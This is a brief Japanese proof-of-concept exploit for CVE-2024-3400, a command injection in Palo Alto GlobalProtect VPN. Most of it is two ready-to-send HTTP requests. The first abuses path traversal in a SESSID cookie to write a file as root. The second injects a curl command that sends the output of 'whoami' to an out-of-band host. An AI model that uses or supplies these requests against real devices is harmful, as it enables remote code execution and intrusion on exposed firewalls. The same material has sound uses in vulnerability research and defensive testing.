
CVE-2024-3400 の概念実証エクスプロイト。GlobalProtect VPN における Palo Alto の OS コマンドインジェクションです。巧妙に細工された HTTP リクエストによるファイル作成と外部へのコマンド実行を実証します。
CVE-2024-3400 Palo Alto OS コマンドインジェクション
以下の HTTP リクエストを送信します:
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

これにより、サーバー上に hellome1337.txt ファイルが root 権限で作成されます。
このファイルにアクセスしようとすると、404 ではなく 403 が返るはずです。

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.01
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
詳細情報: